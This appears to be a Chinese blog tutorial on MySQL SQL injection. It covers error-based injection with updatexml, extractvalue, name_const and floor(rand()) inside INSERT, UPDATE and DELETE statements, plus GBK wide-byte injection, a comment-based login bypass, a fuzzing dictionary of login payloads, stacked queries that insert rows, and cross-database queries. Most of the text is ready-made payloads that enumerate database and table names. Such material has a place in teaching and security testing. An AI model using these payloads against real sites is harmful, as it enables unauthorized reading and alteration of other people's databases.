时间:2021-07-01 10:21:17 帮助过:21人阅读
一般处在于信息修改处(如注册,修改用户名密码等),可使用单引号进行注入尝试,含有注入漏洞处若开启了mysql显错函数则可看到错误页面
利用的条件:
需要注意的是,报错注入需要通过php中的mysql_error()
显示。
下面的例子:
$sql = mysql_query(‘select * from users where id=1 and updatexml(0,concat(0x7e,(select version())),1)‘);
$row = mysql_fetch_array($sql);
$strid = $row[‘id‘];
echo $strid;
这样在界面上是没有显示的,需要通过mysql_error()
显示。
$sql = mysql_query(‘select * from users where id=1 and updatexml(0,concat(0x7e,(select version())),1)‘);
if(!$sql) {
echo mysql_error();
}
$row = mysql_fetch_array($sql);
$strid = $row[‘id‘];
echo $strid;
只有加入了mysql_error()
才能够显示错误,所以来说报错注入还是具有一定的条件的。
显错模式下在insert、update、delete语句中人为构造语法错误,利用如下语句
insert into users(id,username,passowrd) values (2,‘‘inject here‘‘,‘Olivia‘);
insert into users(id,username,passowrd) values (3,""inject here"",‘Olivia‘);
大家看到本来要填入username字段的地方,我们填入了‘injectio here‘
和"inject here"
两个字段来实现报错,一个单引号包含,一个是双引号包含,要根据实际的注入点灵活构造。
updatexml()函数是MYSQL对XML文档数据进行查询和修改的XPATH函数。
函数解释:
UPDATEXML (XML_document, XPath_string, new_value);
第一个参数:XML_document是String格式,为XML文档对象的名称,文中为Doc
第二个参数:XPath_string (Xpath格式的字符串) ,如果不了解Xpath语法,可以在网上查找教程。
第三个参数:new_value,String格式,替换查找到的符合条件的数据
作用:改变文档中符合条件的节点的值
payload: or updatexml(1,concat(0x7e,(version())),0) or
insert into users(id,username,passowrd) values(2,‘Olivia‘ or updatexml(1,concat(0x7e,(version())),0) or ‘‘,‘Nervo‘);
update user set passowrd=‘Nicky‘ or updatexml(1,concat(0x7e,(version())),0) or ‘‘ where id=2 and username=‘Nervo‘;
delete from users where id=2 or updatexml(1,concat(0x7e,(version())),0) or ‘‘;
注意可更换其中的注入语句来进行获取数据如:or updatexml(1,concat(0x7e,(select concat(table_name) from information_schema.tables where table_schema=database() limit 0,1),0x7e),0) or
extractvalue()函数也是MYSQL对XML文档数据进行查询和修改的XPATH函数。
函数解释:
extractvalue():从目标XML中返回包含所查询值的字符串。
EXTRACTVALUE (XML_document, XPath_string);
第一个参数:XML_document是String格式,为XML文档对象的名称,文中为Doc
第二个参数:XPath_string (Xpath格式的字符串)
concat:返回结果为连接参数产生的字符串。
payload:or extractvalue(1,concat(0x7e,database())) or
insert into users(id,username,password) values(2,‘Olivia‘ or extractvalue(1,concat(0x7e,database())) or ‘‘,‘Nervo‘);
update users set passowrd=‘Nicky‘ or extractvalue(1,concat(0x7e,database())) or ‘‘;
delete from users where id=1 or extractvalue(1,concat(0x7e,database())) or ‘‘;
同样的可将其中的database()函数替换为其他查询语句进行查询 如:
获取newdb数据库表名:insert into users(id,username,passowrd) values(2,‘Olivia‘ or extractvalue(1,concat(0x7e,(select concat(table_name) from information_schema.tables where table_schema=database() limit 1,1))) or ‘‘,‘Nervo‘);
name_const()函数是MYSQL5.0.12版本加入的一个返回给定值的函数,当用来产生一个结果集合时,NAME_CONST()促使该列使用给定名称。
Payload:or (select * from (select name_const(version(),1),name_const(version(),1))a) or
insert into users(id,username,passowrd) values(2,‘Olivia‘ or (select * from (select name_const(version(),1),name_const(version(),1))a) or ‘‘,‘Nervo‘);
update users set passowrd=‘Nikcy‘ or (select * from (select name_const(version(),1),name_const(version(),1))a) or ‘‘;
delete from users where id=1 or (select * from (select name_const(version(),1),name_const(version(),1))a) or ‘‘;
同理也可以使用查询语句进行数据查询进行,但在最新的MYSQL版本中,使用name_const()函数只能提取到数据库的版本信息,但是在一些比较旧的高于5.0.12(高于5.0.12)的MYSQL版本中,可以进一步提取更多数据。
其原理与select查询时的显错注入一致。
insert into users(id,username,passowrd) values(1,‘Olivia‘ or (select count(*),concat( floor(rand(0)*2),0x7e,(database()),0x7e)x from information_schema.character_sets group by x;
) or ‘‘,‘Nervo‘);
delete from users where id=1 or (select 1 from(select count(*),concat( floor(rand(0)*2),0x7e,(database()),0x7e)x from information_schema.character_sets group by x)a)
delete from users where id=1 or (select 1 from(select count(*),concat( floor(rand(0)*2),0x7e,(database()),0x7e)x from information_schema.character_sets group by x)a)
同理提取数据获取newdb数据库表名:insert into users(id,username,passowrd) values(1,‘Olivia‘ or (select 1 from(select count(*),concat( floor(rand(0)*2),0x7e,(select table_name from information_schema.tables where table_schema=database() limit 1,1),0x7e)x from information_schema.character_sets group by x)a) or ‘‘,‘Nervo‘);
‘or (payload) or ‘
‘ and (payload) and ‘
‘ or (payload) and ‘
‘ or (payload) and ‘=‘
‘ * (payload) *‘
‘ or (payload) and ‘
"- (payload) -"
利用的
Mysql的宽字节注入
宽字节注入原理:
GBK 占用两字节
ASCII占用一字节
PHP中编码为GBK,函数执行添加的是ASCII编码,MYSQL默认字符集是GBK等宽字节字符集。
输入%df和函数执行添加的%5C,被合并成%df%5C。由于GBK是两字节,这个%df%5C被MYSQL识别为GBK。导致本应的%df\变成%df%5C。%df%5C在GBK编码中没有对应,所以被当成无效字符。
%DF’ :会被PHP当中的addslashes函数转义为“%DF\‘” ,“\”既URL里的“%5C”,那么也就是说,“%DF‘”会被转成“%DF%5C%27”倘若网站的字符集是GBK,MYSQL使用的编码也是GBK的话,就会认为“%DF%5C%27”是一个宽字符。也就是“縗’”
实例:(对于字符型的注入转义单引号使黑客不能闭合引号可防止sql注入,但对于数字型的注入点,在不需要引号的注入条件下对注入查询没有影响)
注入点:http://admin.com/index.php?id=1
提交 %bf’ 出现错误,由此可见存在宽字节注入。
http://admin.com/
index
.php?id=1%df‘
order
by
2%23
======>推出有两个字段数
将中间段换做注入语句即可。
二阶SQL注入:
大致过程:登录框处的注入:
如一个系统是通过
SELECT * FROM accounts WHERE username=‘admin‘ and password = ‘password‘这种显式的SQL来进行登陆校验, 也就是执行这个SQL语句,如果数据库中存在用户名为admin, password为password的用户,就登陆成功,否则就登陆失败。 2. 系统没有对用户输入进行全面的过滤 3. 系统后台使用的是MYSQL数据库 4. 系统中存在一个user name为admin的用户 攻击原理: 利用MYSQL的注释功能,也就是"/*", mysql执行SQL脚本时,如果遇到/*标示符,就会把之以后的SQL当做注释而不会执行, 正常情况下用户在用户名框内输入"admin",在password框内输入"password", 后台执行的SQL语句就为 SELECT * FROM accounts WHERE username=‘admin‘ and password = ‘password‘ 但是如果在用户名框内输入"admin‘ AND 1=1 /*", 在密码框内输入任意字符串,那么后台执行的SQL就为 SELECT * FROM accounts WHERE username=‘admin‘ AND 1=1 /* and password = ‘aa‘, 可以看到数据库实际执行的SQL为 SELECT * FROM accounts WHERE username=‘admin‘ AND 1=1, 而/*后面的SQL就被当做注释而忽略掉了,登陆成功!
若有回显也可以使用的报错查询试试,输入:uname=1&passwd=1‘) and extractvalue(1,concat(0x7e,(select group_concat(schema_name) from information_schema.schemata limit 0,1))) #&submit=Submit
注意:登录框的地方很多时候都没有报错信息,那么怎么判断后台的sql拼凑方式呢? 目前我的办法是将这些比如1‘ or ‘1‘=‘1‘ # ; 1" or "1"="1" # ;
1‘) or ‘1‘=‘1‘ # ; 1")or "1"="1" # 等等做成一个字典,然后进行fuzz。
多语句注入:
平常我们注入时都是通过对原来sql语句传输数据的地方进行相关修改,注入情况会因为该语句本身的情况而受到相关限制,例如一个select语句,那么我们注入时也只能执行select操作,无法进行增、删、 改, 其他语句也同理,所以可以说我们能够注入的十分有限。但堆叠注入则完全打破了这种限制,其名字顾名思义,就是可以堆一堆sql注入进行注入,这个时候我们就不受前面语句的限制可以为所欲为 了。其原理也很简单,就是将原来的语句构造完后加上分号,代表该语句结束,后面在输入的就是一个全新的sql语句了,这个时候我们使用增删查改毫无限制。
堆叠注入的使用条件十分有限,其可能受到API或者数据库引擎,又或者权限的限制只有当调用数据库函数支持执行多条sql语句时才能够使用,利用mysqli_multi_query()函数就支持多条sql语句同时执行, 但实际情况中,如PHP为了防止sql注入机制,往往使用调用数据库的函数是mysqli_ query()函数,其只能执行一条语句,分号后面的内容将不会被执行,所以可以说堆叠注入的使用条件十分有限,一旦能够 被使用,将可能对网站造成十分大的威胁。
例如下面的PHP页面调用sql语句时用的是mysqli_multi_query()函数,所以此时可以使用堆叠注入,如图:
https://upload-images.jianshu.io/upload_images/13183513-d84e4545b7a7c016.png?imageMogr2/auto-orient/strip|imageView2/2/w/558
此时我们尝试注入语句:‘; insert into users(id,username,password) value (66,‘acca‘,‘bbc‘)--+
,注入后发现数据库内新增一条数据
https://upload-images.jianshu.io/upload_images/13183513-f64f77959ece292a.png?imageMogr2/auto-orient/strip|imageView2/2/w/558
跨库查询:
跨库注入需要数据库的root权限才能进行
网站用户权限一般有两种情况:1、不同用户管理不同的网站数据库 2、 root用户管理所有网站数据库
这两种情况是由连接数据库时的用户决定的。
https://img-blog.csdn.net/20180623233138786?watermark/2/text/aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L2JhaWR1XzM3MTA4MzU4/font/5a6L5L2T/fontsize/400/fill/I0JBQkFCMA==/dissolve/70
Mysql特别注入篇
标签:concat 传输数据 语法 注册 了解 jpg 宽字节 处理 使用